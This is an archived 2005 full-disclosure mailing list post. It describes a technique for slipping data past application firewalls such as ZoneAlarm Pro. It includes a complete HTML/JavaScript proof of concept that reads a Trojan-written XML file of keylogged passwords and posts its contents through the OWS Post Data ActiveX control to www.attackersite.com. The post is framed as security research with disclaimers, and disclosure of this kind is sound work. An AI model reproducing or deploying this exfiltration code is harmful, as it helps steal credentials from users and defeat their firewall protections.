full-disclosure - new attack technique? using JavaScript+XML+OWS Post Data

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Date: Wed Dec 21 15:32:05 2005
From: gaurav at securebox.org (Gaurav Kumar)
Subject: new attack technique? using JavaScript+XML+OWS
	Post Data

While researching COM related security vulnerabilities I thought of
this possible attack technique, not sure if it has been discussed
before.

Problem/challenge statement:

A Trojan has been to be placed in a system running an application
firewall like Zone Alarm Pro etc. The Trojan is not allowed to make
any outbound connections. The challenge is to send data (key logged
passwords etc) back to the attacker.

Assumptions:

The target system must be having office XP and the user has to be
lured to view a webpage hosted by attacker.

Solution

The Trojan can be designed to generate an xml file which will contain
the data to be sent out. The attacker will lure the user to visit a
website hosted by him. The site can have following HTML code-

<html>
<body>
The author is not responsible for any misuse, this PoC is for
educational purpose only.
<object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
id="exp">
</object>
<script LANGUAGE=javascript>
var xmlDoc
xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load("c:\\note.xml");
xmlObj=xmlDoc.documentElement;
var a= xmlObj.firstChild.text;
exp.Post(0,"http://www.attackersite.com/input.asp",a);
</script>
</body>
</html>

Content of note.xml could be ?

<password>secret</password>

The above code (works well on windows XP SP2) essentials calls "OWS
Post Data" COM control to post the contents of note.xml (generated by
trojan) to attackersite.com

Essentially, the technique is breaking the basic functionality of
application firewalls by using OWS Post Data as bridge for sending out
the data using Javascript and XML.

Disclaimer-
I am not responsible for any misuse or damage arising out by above technique.

flames/spam/abuse etc can be sent to spam@...urebox.org
comments can be sent to gaurav@...urebox.org

Regards,
Gaurav Kumar.